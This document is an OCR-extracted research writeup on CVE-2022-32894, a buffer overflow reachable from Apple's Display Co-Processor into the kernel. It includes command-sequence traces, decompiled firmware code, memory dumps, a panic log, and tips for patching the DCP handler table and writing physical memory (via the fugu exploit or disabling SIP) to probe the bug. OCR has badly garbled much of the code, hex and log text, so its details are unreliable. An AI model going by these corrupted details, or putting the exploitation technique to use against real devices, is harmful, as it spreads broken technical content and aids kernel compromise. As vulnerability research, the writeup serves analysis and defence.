
_Currentstate = 7:
Kernel -= DCP {ocmd 161/I0PK_IDP_HERE_IS_YOUR_BUFFER)
_Currentstate = 8

_CurrentState = B:
DCP —= Kernel {omd 148/I0PK_IOP_HIST_OUEUE_REGISTER_TAGGED)
DCP -= Kernel (emd 138/I0PK_IOP_RX_QUEUE_REGISTER_TAGGED)
DCP -= Kernel {omd 139/I0PK_TIOP_TX_OQUEUE_REGISTER_TAGGED)
_CurrentState = 11

_Currentstate = 11
Kernel -> DCP {cmd 163/I0PK_IOP_TX_QUEUE_START)
_currentState = 12

_currentState = 12:
DCP -= Kernel (cmd 134/I0PK_IOP_TX_QUEUE_START_DONE)

_currentState = 16 After cmed 134, DCP endpoints will start exchanging data and notify
kernel by sending cmd 13I3I0OPK_IOP_TX_QUEUE_NOT_EMPTY, and
_currentState = 16: currentState remains 18 until disrupted by cmd 164 or 192

Kernel —= DCP (cmd 164/ I0PK_IOP_TX_QUEUE_STOP]
_currentState = 11

or
Kernel —-= DCP (cmd 192/ I0PK_IOP_SHUTDOWN )
DCP -= Kernel (cmd 193/I0PK_LOP_SHUTDOWN_ACK)
_currentState = 1

Where DCP sends commands to trigger CVE-2022-32894. DCP firmware of iOS 14.2.1

_currentState = 3:
Kernel —> DCP (cmd 16@/I0PK_IOP_READY_ACK)
_currentState = 4

_currentState = 4:
DCP —> Kernel (cmd 137/I0PK_IOP_REQUEST_BUFFER_TAGGED)
_currentState = 7

_currentState = 7:
Kernel —> DCP (cmd 141/I0PK_TOP_HERE_IS_YOUR_BUFFER_SIZE)
Kernel -> DCP (cmd 142/I0PK_IOP_HERE_IS_YOUR_BUFFER_ADDR)
_currentState = 9

_currentState = 9:
Kernel -> DCP (cmd 139/I0PK_IOP_TX_QUEUE_REGISTER_TAGGED)
_currentState = 10

_currentState = 10:
DCP -> Kernel (cmd 163/I0PK_IOP_TX_QUEUE_START)
_currentState = 13

_currentState = 13:
Kernel —> DCP (cmd 134/I0PK_IOP_TX_QUEUE_START_DONE}
_currentState = 16

MailboxMessage on DCP (iOS firmware 14.2.1) appears to support cmds interacting in the opposite direction, though it’s

not supported by the kernel.
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The interaction between the kernel and the DCP through MailboxMessage cmds involves
allocating a block of memory and transmitting the necessary information to make the memory
visible to both the kernel and the DCP, thus facilitating more advanced formatted messaging.

The sender then waits for the other party to initiate a cmd 163 (IOPK_IOP_TX_QUEUE_START)
and respond with cmd 134 (IOPK_IOP_TX_QUEUE_START_DONE), indicating readiness to
exchange data in a richer format. The other party also has the option to initiate a pause using
command 164 (IOPK_IOP_TX_QUEUE_STORP).

CVE-2022-32894 can only be triggered from the DCP!

On a normally booted device, all DCP endpoints are stuck at _currentState = 16. Cmd 137 and

142 (triggering CVE-2022-32894) are used for setting up the shared memory buffer, so they only
happen once and have already happened before _currentState = 16. This means we cannot reach
the vulnerable path without resetting _currentState, therefore this bug could not be reached from
the AP.

This is one of the key insights that led us to surmise that the attackers already had complete
control of the Display Co-Processor.

In our tests, we forced the kernel to send a series of commands to restart the DCP endpoint: cmd
192 (IOPK_IOP_SHUTDOWN) -> cmd 128 (IOPK_IOP_READY) -> cmd 163 (IOPK_IOP_TX_QUEUE_
START). It always resulted in the kernel receiving cmd 137 (Pivot 2), as shown in the screenshot
below.

Let’s see what was causing it.

kernel: (AppleFirmwarckit) DCPEndpoint (BCPEndpoint:@x18@8083bd): msg: AxPAC1AAGSAAGSARES (cmd: Sxcl argument: & cp: 32 TORK_TOP_SHUTDOWH_ACK)

kernzl: (AppleFirmwarekit! DCPEndpoint(CCPEndpoint:dxl@49esedbd): (32) complete gueueState:2

kernel: (AppleFirmwarcKit) DCPEndpoint (DCPEndpoint:Ax1088683bd): nsg: AxPRaRAAARRAARAARE [cmd: Pxad argument: BxA cp: 27 TOPK_TOP_READY_ACK)

kernal: (AppleFirmwarekit! DCPEndpoint(DCPEndpoint:@xl868083bd): I0SK_IOP_READY : protocol &x8 opticns Bxd

kernel: (AppleFirmwarcKit) DCFEndpoint (DGPEndpoint:@x18888A3bd): msg: AxBRATHAAREZABcate (cmd: Bx89 argument: @x?9Bcafe ecp: 37 TOPK_TOP_RFQUEST_BUFFER_TAGGED)
kernal: (AppleFirmwarekit! DCPEndpoint(DCPEndpodint:@xl808683bd): argl: @xcafe argl: 6xlee

kernel: (AppleFirmwareKit) DCPEndpoint (DCPEndpoint:@x10886A3bd): nsg: GxBBSaPRARBIAGcafe (cmd: Bxfa argument: @8x1d@Bcafe ep: 37 TOPK_TOP_AY_OUEUE_REGISTER_TAZGED)
wernal: (AppleFirmwarekit) DCPEndpoint (DCPEndpoint:dx1@9@863bd]l: nsg: @xe@3bblaenladcate (cmd: @xdb argument: @x19@818@cate ep: 32 IOPK_LOP_TX_QUEUE_REGISTER_TAGGEDR)
kernel: (AppleFirmwarekit) (DCPEndpaint:@x14868a3bd) SMMachine post:[Ready] in state:{an)

kernel: (AppleFirmwarekit! (DCPEndpoint:@x1988882bd) SKMachire drop ewent:[Ready] in state:lon)

kernel: (AppleFirmwarekit) DCPEndpoint (DCPEndpoint:@x1888RE3bd): nsg: AxPAASPAAGRAAREAAE (cmd: Pxdé argument: & ep: 32 TOPK_TOP_TX¥ QUEUE_START _DOKNE)

kernal: (AppleFirmwarekit! DCPEndpoint(DCPEndpoint:@x1868083bd): (32) complete gueueState:l

kernel: (AppleFirmwarekit} DCPEndpoint (DCPEndpoint:@x18@8RA3bd): ssg: AxPRASPAASPAAREAAS (cmd: PxA5 argusent: & ep: 32 TOPK_TOP_TX_QUEUE_WOT_EMPTY)

kernal: (AppleFirmwarekit! DCPEndpodint(DCPEndpoint:@x1002003bd): nsg: Gx0035000000000002 (omd: @x8% argument: @xl ep: 32 IOPK_IOP_TX_GUEUE_NOT_EMPTY]

The debug log when restarting a DCP endpoint. Tested on an M1 Macbook.

The sequence of commands starts with the kernel sending DCP the IOPK_IOP_READY cmd. DCP
responds with the version number for the kernel to verify.




And here comes the turning point: the command includes an _allocator field, and if the _allocator
field has a value, ::.getNextStateOnReadyAct will use it to allocate memory and send the size

and address to the kernel through cmd 141 (IOPK_IOP_HERE_IS_YOUR_BUFFER_SIZE) and 142
(IOPK_IOP_HERE_IS_YOUR_BUFFER_ADDR) respectively.

If not, ::getNextStateOnReadyAct will send cmd 137 (IOPK_IOP_REQUEST_BUFFER_TAGGED)
carrying the memory size as a parameter to the kernel, requesting the kernel allocate memory
and send the address of the memory back through cmd 161 (IOPK_IOP_HERE_IS_YOUR_
BUFFER).

__inted size; JF x21

__int6d4 _offset; // =z=8

—_int64 “buffervirtaddr; // x9
uintéd_t vl; // =8

unsigned _ int64 sharedMem size; // =9
uintéd t sharedMem phyAddr; // =20

_ int6d w9; // =l

— int64 wv10; J/ x2

_allocator = *{_QWORD *j{al + T72); J/{ memory allocator
if { _allecater ) From our tests, we observed that _allocator is empty

if ( *({ BYTE w#j(al + 389) )

size = *(_QWORD *)(al + 312);

{{void (*)(void))sub_135E08) (); ff Allocate memory to be shared with kernel
_offset = *{_QWORD *)(_allocator + 56); // _allocator=>_offset

if ( (unsigned int64){_ offset + size) > *{ QWORD *)(_ allocator + 32) )

abort("ASSERT: %s:%d: [%s]", "EndpointSharedMemoryillecator.cpp”, 52LL, " _offset + size <= _size");
*(_QWORD *)(_allocator + 56) = _offset + size;

bufferVirthddr = *| QWORD *)(_ allocator + 24);// _allocator->_ bufferVirtAddr
*(_CWORD *)(al + 328) = _buffervirtAddr + _offset;

if ( ! bufferVirtAddr )
abort("ASSERT: %s:%d: [%s]", "MailboxSharedMemoryEndpcint.cpp”, 276LL, " _buffervirtaddr");

wl = %{ QWORD *){al + 72);
sharediMem size = *{_QWORD *) (vl + 32);
sharedMem phyaddr = %{_QOWORD *}({vl + 40);
*(_CWORD #*)(al + 320) = sharedMem_ phyAddr;
*(_QWORD *)(al + 336) = *{_QWORD *)(vl + 48);
send message(al, 14lu, sharedMem size > 6);
send message(al, 142u, sharedMem phyAddr);
send message 140_138_139(al, w9, v10};
return 11LL;

}

else

return 5LL;
1
}
elae

{

if ( *({ BYTE *)(al + 389) )
send message2({al, 137u, (unsigned _ intlé){*{ DWORD *}{al + 312) >> &), 0);
return 7LL;

}
}

00032F00 MailboxSharedMemoryEndpoint::getNextStateOnReadyAct:3 (30F00)

::getNextStateOnReadyAct pseudocode. DCP firmware of iOS 15.6

We found that the _allocator field is empty across all DCP endpoints, which steers clear of cmd
142 (IOPK_IOP_HERE_IS_YOUR_BUFFER_ADDR). Each endpoint has one established shared
memory buffer that is allocated through cmd 137 (IOPK_IOP_REQUEST_BUFFER_TAGGED), which
can be revealed by a field since cmd 137 stores the value in a slightly different way than cmd 142.
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How does the kernel handle cmd 137 and what is the
patch about?

T
05_LOG_TYPE_DEBUG,

“im(ksriflln)r argd: ¥#x argl: EFxin",
v5,

57,
{

unaigned _ int16)al, // argd: a custom tag
RDL(al) )] {/ argl: mem size
5E m #[ OHORD whfthic & 197)s
Lf [ *( DWORD *)(v58 + 240) <= 3u )
L :
T3 = %[ _QWoRD *}(vo8 + 4N} * WORDI(al):
do
{
v60 = (RTBuddySlaveMemoryBuffer #)(*(__ int6d (_ fastcall **)(_ OWORD, QWORD, intfd, (WORD))(**(_QWORD =*=)(*(_OWORD *)(this + 184) + 40LL) + 2200LL))(
*| QWORD *){*{ OWORD *j{thi=s + 184) + 40LL}),
OLL,
L <; PAGE_SHIFT _CONST):// RTBuddy::allocateVisibleMemory

1f [ 1ve ]
panic("\"secondaryMemory:dp\ " #%s:%d", OLL, "AFiMailboxSharedMemoryEndpoint.cpp”, 421LL};
wEL = wEOf

vEZ = { IoBufferMemoryDescriptor *)(( nté4 {_ fastcall *)(RTBuddySlaveMemoryBuifer *))vél->v->I0SlaveMemoryBuifer getBuffer)(vel);
if [ ve2 )

{(void [_ fastcall *){I0Buffer aryDescr
I0HemoryDescriptors: : getPhysicalAddress i
vEd = ((__int6d (__fastcall +)(RT 5 Lan

iptor *))véZ=rretain)(viz);
i/ the return is unused
emoryBuffer *))vel->v->105laveMemoryBuf fer_getSlaveAddress)(vel);

}

while ( ivid );

vES = w( QWORD *){this + 192); // Lete name *(this+192) as 192 buf
nsigned int *)(vé5 + 2d40);

al; s
w67 + 56) = vhlz . + of y Mo

T+ 6d) = OLL;

67 + 72) = w6i;

67 + 80) = vid;

67 + B8} = vi%;

+ 240) = vEE + 1;

64 & OXFFFFFFFFFFFFLL | OxA1000000000000LL;

4 (*=)}(woid) ){*=*(_OWORD *=)(*(_OWORD *)(thiz + 184) + I2LL) + 488LL))();// RTBuddyEndpoint::sendMessages

Handling of cmd 137 in AFKMailboxSharedMemoryEndpoint::handleMailboxMessage, after patching

The “this” in the above code is an instance of DCPEndpoint, a subclass of
AFKMailboxSharedMemoryEndpoint. cmd 137 sent by DCP split out two arguments: argO and
argl. We observed values for arg0: Oxcafe and arg1: 0x200. arg1 will be used to multiply against
another variable located at offset 248 (which we observed to have a value of Ox40 and marked in
the following screenshot). The result is 0x8000, which becomes the size of the shared memory
buffer to be allocated. arg0 acts like an identification tag later used for looking up a specific
DataQueue in the handling of cmds 138, 139 and 140.

Note that there is an abandoned call of IOMemoryDescriptor::getPhysicalAddress. The secondary
address sent back to DCP from the kernel is not a standard physical address. Although it may
look like a standard 9-byte physical address, attempting to access it as one will trigger a panic.
This design is likely due to security reasons.

All secondary addresses start with OxFO. To get the actual physical address, you call
IOMemoryDescriptor::getPhysicalAddress on the IOBufferMemoryDescriptor inst stored in arr_
item+24. An example is 0xf042dc000 (secondary address), which corresponds to a valid physical
address of Oxb17680000.

The kernel copies the relevant properties and class instances to the 192_buf buffer in a way that
resembles a C array. We will refer to each item stored in the array as an arr_item. To find out the
size of 192_buf, we located its allocation and learned its size is Ox7120. Each arr_item has size
0x30.
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Furthermore, 192_buf+240 stores the index variable that is now verified in the updated firmware.
Apparently, the patch is to keep the arr_item within the bounds of the array. So, minus the first
48 bytes and the last 48 bytes (see below), the middle ground of 192_buf is where arr_items are
stored.

9020000288 (0x20000120) bytes
eeee: B8 b8 ac cc 24 fe ff ff 20 b9 ac cc 24 fe Ff ff ....%5... ... $...
p01@: c@ b9 ac cc 24 fe Ff ff 6O 00 6O €0 6@ @0 8O B0 ....5....0c0uuuu
0020: B0 20 90 00 00 0O OO0 PO O1 00 PO ©9 00 90 80 B ......c0ccenaunn
0830: fe ca 90 €0 0P 90 OO0 00 00 c4 aa cd 24 fe Ff FF ............ ...
e849: @0 00 90 20 00 20 00 00 bO 69 db 33 1b fe ff ff ......... 1.3....
0e509: B0 40 23 84 Of 90 B0 20 00 BO OO OO OO 0O 00 9O . MH#.w.vwsesnnass
Be68: B0 B0 B0 B0 90 B0 90 B0 OO BO OO BO OO B0 B0 B9 ........ 00000
B870: B0 PO B0 PO 90 O OO B0 OO B0 OO GO OO B0 B0 B0 ............00..
B886: B0 GG PG PG PO BO PO PO GO PO B0 B0 60 0O B0 BB ......cic00000000
e898: 80 00 90 20 09 00 BO B0 00 GO OO 00 B8O 80 B0 8O ...............-
08ad: @0 09 90 20 0P 90 OO OO PO 9O OO PO OO B0 B9 PO .........c00u00n
eebe: 20 00 90 20 00 20 B0 00 0D 20O OO OO B0 B0 B0 B8O ......avvcannann
PBco: B0 90 90 20 90 90 B0 20 OO0 B0 00 OO B0 B0 B0 B ........ 00000
POde: P2 20 PO 90 PO €0 OO 20 PO OO OO €0 9O B0 PO PP ......ccc0000a0n
BBecB: OO OO OO PG B0 B0 BO 2O GO B0 B0 B0 60 B0 B0 B8 .....cv000000040
eafe: 81 @@ 60 B0 ©0 B0 9O B0 40 B0 9O GO ©0 G0 60 60 ........ [ R
Plee: PO 90 PO PO ©P PO OO PO OO OO PO 00 PO 9O 00 B .........ccn0u.n
9119: 80 09 90 @0 0D 00 OO OO 0D OO OO 0O OO B0 B0 9O .......00c00000s
array index: 1

1. @xcafe

2. exfffffel4cdaacies

3. exe

4. exfffffelh33dbsoha

5. exfes423i088

6. Bxgeeo

Based on the handling of cmd 160, we determined that the first 48 bytes of 192_buf are pre-
arranged values representing instances of RemoteDataQueue. RemoteDataQueues are also
involved in the handling of cmds 138, 139 and 140 (to be covered later).

Moreover, 32 bytes at +OxF0(240) stores the index variable of the array. 64 bytes at +OxF8(248)
stores the multiplier used to calculate the size of the shared memory buffer to be allocated. Let’s
call it mem_buf_mul.

0000000288( 0x00000120) bytes

0000: 40 a3 b2 13 20 fe ff ff 80 a4 b2 13 28 fe ff ff @... +vuvuvr oua
e010: 20 a5 b2 13 20 fe ff ff 20 22 02 00 22 08 82 88 ... ....vovvvee
©920: 00 99 90 B0 PO V0 00 VP Pl Ve 02 D2 PR BP BY BP9 .....ivirrrannan
0830: fe ca 90 00 00 90 69 00 40 Bc 1b 47 1b fe ff ff ........0..G....
0040: 00 60 BP0 B0 B0 B0 60 VP eB e7 99 e® 24 fe ff ff .. ..vvvuivva8uns
0856: 66 80 25 64 of ©P 6P 6P B0 39 6P 60 B2 00 B0

0868: fe ca 6P 66 6P B0 6P OO B0 OB AP 6P B2 90 BO

0670: 66 60 60 o2 00 @0 ee 68 18 c2 4d 22 28 fe ff

ee80: 00 80 25 o4 Of @0 62 0P 20 S2 o2 00 o2 o8 8l

0990: fe ca 90 00 90 OO 90 OO 00 02 O2 OB OO B B2 B0 ..... v vvvvrrnan
©0Pab: 0D OO OO OO 0D OO 0@ o8 B8 7c 4T 22 28 fe ff ff .........|O"
oobo: 00 80 25 84 Of OO0 00 V0 DD 52 02 02 B B9 B 80 .. %M. .. vrrrrrnan
08co: fe ca 90 00 00 90 069 OO B0 o2 O0 89 o 90 8@
oodo: 66 OO 6O 60 66 O 60 86 ab 14 8d le 20 fe ff
00ecH: 66 80 25 04 of &P 6P 6P B0 B3P AP 6O PR 8O BE

oafo: |64 60 6P 0B 00 6P 68 OO 4P AP BP 6P PR 9B BO essuns

@leo: 00 80 00 00 60 OO 00 60 60 OO ©2 00 OB OB 02 B8 ................
©116: 60 60 90 02 OO 90 62 0P 20 o2 o2 8° o8 o8 8l




The overflow of the 192_buf

Now that we know the boundaries and that the overflow data is arr_items. Let’s go ahead and
restart the DCP endpoint a few times, making it send cmd 137 to the kernel multiple times.

0000000288(0x00000120) bytes

8000: cO 34 46 cc 24 fe ff ff 20 3e 74 cb 24 fe ff ff .4F.%... >t.$...
0010: e@ e3 38 ch 24 fe ff ff 00 00 20 00 00 00 00 90 ..8.5.......00u.
6026: 00 00 0O 90 60 6O OO GO 61 PO OO OO OO B0 B0 PO .......... 000000
0036: fe ca 00 G0 00 68 OO B0 00 c4 aa cd 24 fe ff ff ............ 5...
0046: ©0 00 0O 20 006 6@ 08 @0 be 69 db 33 1b fe ff ff ......... i.3....
0656: 00 40 23 @4 of 60 G0 B0 60 80 OB OO OO €0 60 B0 .O#.............
0066: fe ca 00 60 00 60 00 80 co 8 a9 cd 24 fe ff ff ............ ...
6076: ©0 0D OO G0 60 6O OO B0 98 aa ff 33 1b fe ff ff ........... 3....
0686: 00 00 2d ©4 of 6O G0 B0 60 80 06 OO OO @0 8O B9 ..-.............
8698: Te ca OO @0 06 6@ 00 @0 60 9 a9 cd 24 fe ff ff ............ $...
Bbab: 00 00 6O 90 66 60 00 @0 he a9 ff 33 1b fe ff ff ........... 3....
66bb: 00 cb 2d @4 of 66 G0 B0 60 80 0B PO OO @0 BO VO ..-...........0.
86cB: Te ca 0O 00 B0 00 00 00 40 T9 a9 cd 24 fe fF ff ........ 0...%5...
0bdo: 00 00 60 00 06 60 00 @0 30 9b ff 33 1b fe ff ff ........ 0..3....
Bbeb: 00 80 2e @4 O OO OO OO 60 50 0D OO OO @0 8O 8@ ..........c00n0.
00fe: @4 00 00 00 OO 6O OO OO 40 90 96 OO O° @0 O 80 ........ [P
0l66: 00 60 6O @0 0O 6O OO GO OO OO OB OO OO @0 B0 PO ..............n.
9ll6: 00 ©0 6O @0 60 6O OO GO 60 00 OB OO OO €0 80 0@ ................

6088000288 (0xB0080120) bytes

0000: e@ 19 38 cb 24 fe ff ff 60 b5 38 cb 24 fe ff ff ..B.%... .8.%5...
8018: @0 22 77 cc 24 fe ff fF 0O OO 00 8O 6O 9@ 00 00 ."W.5.....c00000
0920: 00 ©9 OO 00 00 90 OO 00 ©1 PO OO 9O OO 8@ PP PO ......cv0ne0nene
0030: Te ca 00 0O 00 0O 90 B0 00 c4 aa cd 24 fe FF fF ....... PR T
0040: 00 00 OO 00 60 00 00 00 ho 69 db 33 1b fe ff fF ......... i.3....
9050: 90 49 23 64 OFf 90 00 00 00 50 00 B0 PO 00 B8 B0 .OF...veveven.rs
00606: fe ca OO OO 60 OO 90 00 cO 8 a%? cd 24 fe FF FF ....cvvvunns Soe
0970: OO OO OO 0O OO OO PO OB 98 aa ff 33 1b fe ff ff .....0vuvne 3.
PO8O: 00 90 2d 64 OT 9O 90 OO OO B0 V0 60 PO O 00 B0 ..—.....ccvenens
8898: Te ca 90 0O 0O OO PO 06 60 T2 a% cd 24 fe ff Ff ....cvvvunnn $...
00aB: 60 O9 90 00 00 ©0 00 80 ho a9 ff 33 1b fe ff ff .....0vuunn kSR
e8h6: 60 cB 2d 64 OFf OO OO OO OO 80 90 6O 00 90 00 PO ..—....c00snusns
88cB: Te ca B0 60 00 €0 08 80 40 T9 a9 cd 24 fe ff ff ........ 0...%...
PBde: 60 P2 00 0O 60 00 98 BO 30 9 ff 33 1b fe ff fF ........ 8..3....
B0eB: 90 30 2e B4 OT 9O OO OO OO 20 00 80 60 00 OB B0 ......vcvvennnns
pafe: 95 90 99 6O 00 00 08 80 B0 fa a% cd 24 fe ff ff ... vuvnnn L J.
01668: 00 99 B9 60 00 €0 8B B8P 58 63 02 34 1b fe ff ff ...ivuss XC.boouo
8116: 09 48 2f 64 o ©0 909 609 09 S0 00 60 9O 00 @8 88 .0/ ..ccceuennnns

As you can see, arr_item has now overflowed the lower boundary but is still within the buffer.
Because of the way the code is written, the array index at +OxFO will fix itself after overflow.
However, this is not the case for mem_buf_mul which sits next to it. mem_buf_mul is overwritten
by the RTBuddysecondaryMemoryBuffer instance and we see the value increase enormously
from Ox40 to Oxfffffe24cda9fa80. The kernel multiplies mem_buf_mul with the input from the
DCP to determine the size of the memory allocation.
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However, the input from DCP is only 16 bytes so it is not large enough to correct the size by
integer overflow. Therefore, it always produces an invalid size. In other words, cmd 137 will always
cause the kernel to panic before it has a chance to overflow the 7192_buf boundary.

"panicString" : "panic(cpu @ caller Oxfffffe@02ddbe5b0): kmem(map=0xfffffel0004bc@as,
flags=0x804@): invalid size -1044968429518848 @vm_kern.c:142
Debugger message: panic
Memory ID: @x6

As we saw earlier, the available cmds and arguments are substantially limited due to _
currentState and each cmd’s implementation code. Because this path of exploitability from the AP
is not possible, the attacker remains with a very limited number of options.

What if we further assume that the attacker has full control of the DCP prior to triggering CVE-
2022-32894?

As mentioned earlier, DCP is significantly weaker than the kernel in terms of security mitigations.
Since there are no changes regarding DCP firmware in this update, we think the underlying root
cause was not immediately addressed by CVE-2022-32894. It appears that the patch is trying to
block the attacker from escaping the DCP to the AP after the attacker has already achieved full
control over the DCP. This is in alignment with our understanding of the attacker’s options given
the limitations above.

Re-evaluate exploitability in the context of DCP to AP

Gaining full control of the DCP refers to achieving arbitrary code execution through techniques
such as ROP/JOP and obtaining the capacity to call any function. While more than one area can
be targeted to escape DCP, we will only focus on the MailboxMessage cmd interaction in the
remainder of this post.

In this context, arbitrary code execution means we can send commands regardless of the order
and parameter despite constraints on the DCP’s end.

The following figure lists all available MailboxMessage cmds from the command table. DCP ->
Kernel indicates that the kernel accepts and processes the corresponding cmd and Kernel -> DCP
indicates the opposite. For cmds with no comment, we couldn’t find any handler functions.



IOPK_IOP_READY // 128 // Kernel —= DCP
IOPK_IOP_REQUEST_BUFFER f/ 129

I0PK_IOP_RX_QUEUE_REGISTER // 1380

I0OPK_IOP_TX_QUEUE_REGISTER // 131

IOPK_IOP_TX_HISTORY_QUEUE_REGISTER // 132

IOPK_IOP_TX_QUEUE_NOT_EMPTY // 133 // Kernel -> DCP // DCP —> Kernel
IOPK_IOP_TX_QUEUE_START_DONE // 134 // Kernel -= DCP // DCP -> Kernel
IOPK_IOP_TX_QUEUE_STOP_DONE // 135 // Kernel —-= DCP // DCP —= Kernel

IOPK_IOP_READY_DEPRECATED_ // 136 // DCP -> Kernel
I0PK_IOP_REQUEST_BUFFER_TAGGED // 137 // Kernel —= DCP // DCP —= Kernel
TOPK_IOP_RX_QUEUE_REGISTER_TAGGED // 138 // Kernel -= DCP // DCP -= Kernel
I0OPK_IOP_TX_QUEUVE_REGISTER_TAGGED // 139 // Kernel -» DCP // DCP -» Kernel
IOPK_IOP_HIST_QUEUE_REGISTER_TAGGED // 148 // DCP —> Kernel
I0PK_IOP_HERE_IS_YOUR_BUFFER_SIZE // 141 // Kernel -> DCP // DCP -> Kernel
I0PK_IOP_HERE_IS_YOUR_BUFFER_ADDR // 142 // Kernel —= DCP // DCP —= Kernel

IOPK_IOP_READY_ACK // 168 // Kernel —= DCP // DCP —> Kernel
I0PK_IOP_HERE_IS_YOUR_BUFFER // 161 // Kernel —-> DCP // DCP —> Kernel
IOPK_IOP_RX_QUEUE_NOT_EMPTY // 162 // Kernel -= DCP // DCP —= Kernel

IOPK_IOP_TX_QUEUE_START // 163 // Kernel => DCP // DCP -> Kernel
IOPK_IOP_TX_QUEUE_STOP // 164 // Kernel -= DCP // DCP —= Kernel
IOPK_IOP_QUEUE_UPDATE_RDPTR // 165 // Kernel -= DCP // DCP -> Kernel
IOPK_IOP_QUEUE_UPDATE_WRPTR // 166 // Kernel -= DCP // DCP -> Kernel
Unknown f/ 167 // Kernel —> DCP // DCP -> Kernel

Unknown ¢/ 168 // Kernel -= DCP // DCP -= Kernel
IOPK_IOP_DATA_BEGIN // 176 // DCP =-> Kernel
IOPK_IOP_DATA // 177

I0OPK_IOP_DATA_END // 178 // DCP -> Kernel

IOPK_IOP_SHUTDOWN f/ 192 // Kernel -> DCP
IOPK_IOP_SHUTDOWN_ACK // 193 // DCP —= Kernel

I0OPK_IOP_PRIVATE_CMD® // 208

IOPK_IOP_PRIVATE_CMD15 // 223

A practical tip for building a test environment is to simply replace the command handler with
send_message. This way, the cmds and arguments we send to the DCP will be forwarded to the
kernel untouched. You can confirm this using the log command. Note that you need to fix the
pre- and post-states as they are checked by _currentState, as they would otherwise limit code
execution.

The cmds/handler_func table is located at _const in the data segment of the DCP firmware and
is fully writable on either iOS or macOS. To access them, you will need a way to write to the
physical memory. On iOS, you can use the fugu exploit. For macOS, you can load custom kernel
extensions after turning off SIP, then utilize IOMemoryDescriptor.
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_ LIS L VWA L U L =L v
“const:00000000001C46C8 DCQ handle REQUEST BUFFER_TAGGED
_const:00000000001C46D0 Dcg o0
_const:00000000001C46D8 DCco 0
_const:00000000001C46E0Q DCD 161
const:00000000001C46E4 Dco 7
_const:00000000001C46ES DCcQ 11
“const:00000000001C46F0 DCQ handle HERE IS YOUR BUFFER
_const:00000000001C46F8 Dco 0
_const:00000000001C4700 DCcQ 0
_const:00000000001C4708 DCD 141
_const:00000000001C470C DCD 7 -> 0x10 fix pre/post states
_const:00000000001C4710 DCco 7 -=0x10
const:00000000001C4718 DCQIBandle HERE IS YOUR BUFFER SIZEI
_const:00000000001C4720 DCcQ U replace with send_message
_const:00000000001C4728 Dco 0
_const:00000000001C4730 DCD 142
_const:00000000001C4734 pcp 7 -> 0x10
_const:00000000001C4738 DeQ 9 -> 0x10
_const:00000000001C4740 DCQIhandle HERE IS5 YOUR BUFFER BDDRI
_const:00000000001C4748 DCQ replace with send_message
const:00000000001C4750 Dcg 0
_const:00000000001C4758 DCD 138
_const:00000000001C475C Dcop 9
_const:00000000001C4760 Dcg 9

Fixing the cmds/handler_func table for testing purposes. DCP firmware of iOS 15.6

To locate send_message in the DCP firmware, you first need to find the cmds/handler_func table,
and this can be done by searching for the string “unexpected: msg=%016/Ix cmd”. Then go into
the handler_func of the first cmd 128 (IOPK_IOP_READY) where you will see the DCP send the
response cmd 160 using send_message. The arguments required by send_message are exactly
the same as any handler_func.

| inté4  fastcall handle READY( int64 al)
{
uinted_t w2; // x2
__int64 result; // x0
if ( (*( DWORD #)(al + 28) & 0x2000) != 0 )
vZ2 = 0x20000008LL;
else
vZ = 8LL;
send_message(al, 160u, v2); // send cmd 160 READY ACK
result = MailboxSharedMemoryEndpoint::getNextStateOnReadyRct(al);
*( DWORD *){al + 360) = result;
return result;
1

Locating the send_message. DCP firmware of iOS 15.6

This is how we set up the test environment for MailboxMessage cmds. We can now send cmd 137
again without a restart and gain control of the first 2 bytes of cmd 137. Unfortunately, there is still
no workaround to overflow further without triggering a kernel panic at this point.



0000000288 (0x00000120) bytes

0000: e@ d9 3f 6f 16 fe ff ff co@ db 3f 6f 16 fe ff ff ..%0......%0....
0010: 40 de 3f 6f 16 fe ff ff 60 0O 6O 9O 60 00 80 90 P.70...c0veureas
0020: 00 B0 00 6O 00 OO 00 00 ©1 OO OO OO OO GG ©0 PO ................
0030: fe ca 00 20 60 00 00 00 40 d4 ©d 6f 16 fe ff ff ........ @..0....
0040: 00 00 00 2O 00 0O 00 00 a8 b3 7f al 29 fe ff ff ........... ) I
0050: 60 80 2f 04 Of 00 OO0 00 60 80 00 00 00 €0 00 00 ../.......ccn...
0060: aa aa 00 00 00 00 00 00 c@ fc od 6f 16 fe ff ff ...........0....
0070: 00 00 00 6D 00 00 00 00 30 38 @b al 29 fe ff ff ........08..)...
0080: 00 00 31 04 ©f 00 ©0 00 OO OO 08 00 00 9O 00 PO ..l.....vc00ssas
0090: bb bb 00 00 00 00 00 00 40 fd od 6f 16 fe ff ff ........0..0....
00a0: 90 00 00 OO 00 00 00 00 cO 15 b al 29 fe ff ff ............)...
00be: 00 40 39 04 ©f 00 0 00 60 00 ©8 2O 00 8O 00 PO .09.....cc0vvues
00cB: cc cc 00 60O 00 00 66 00 80 fd Od 6f 16 fe ff ff ........... 0....
00do: 00 00 60 26 60 00 00 00 60 19 8b al 29 fe ff ff ........ R IR
00eO: 00 00 4Le B4 O 0O OO OO 0O OO B8 0O OO 00 00 80 ..N.......ocnvue
eafe: 65 00 00 00 00 00 00 00 co fd od 6f 16 fe ff ff ...........0....
0100: 00 00 00 6D 00 00 00 60 18 39 b al 29 fe ff ff .........9..)...
0110: 00 40 56 04 of 00 ©0 00 0O 0O 08 00 OO 90 00 PO .OV...:ievesessas

Now, let’s check pivot 1. This path is not taken by default, but can still be exploited by attackers if
they have taken over the DCP.

Instead of sending cmd 137 to request memory allocation by the kernel, this code allows for
memory allocation within the DCP. We then share the size and address with the kernel via cmd
141 and 142. However, the actual memory allocation requires extra work because the _allocator
object is empty on DCP, but nothing stops us from reusing existing physical addresses.

case 141:

*( QWORD *){*{ QWORD *)(this + 1%2) + 256LL) = v5 << &;// arg0: mem size

v76 = (const OSMetaClass *)(*(_ int64 (_ fastcall **)(uinté4d_t))(*{_QWORD *)this + S56LL))(this);
OSMetaClass: :getClassName(v76);

(*{void (_ fasteall *+*)({uintéd4_+, _QWORD)})(*{_QWORD *)this + 936LL))(this, OLL);
IORegistryEntry: :getRegistryEntryID((I0RegistryEntry *)this);
vi7l = (o= log s *) AFKLog();
= (const OSMetaClass *y(*(__inte4 (_ fastcall **)(uinted_t))(*{_QWORD *)this + S5S6LL))(this);
\ = OSMetaClass::getClassName(v78);
v80 = (const char *)(*(__int6d4 (_  fastcall **)(uint64 t, OWORD))(*( OQWORD *)this + 936LL))(this, OLL);

vEl IORegistryEntry: :getRegistryEntryID((I0RegistryEntry *)this);
_os_log_internal(

&dword_0,

V77,

0§ LOG_TYPE DEFAULT,

"%5(%5:%#1llx): _secondaryLength:0x%llx\n",

v79

v80,
vel,
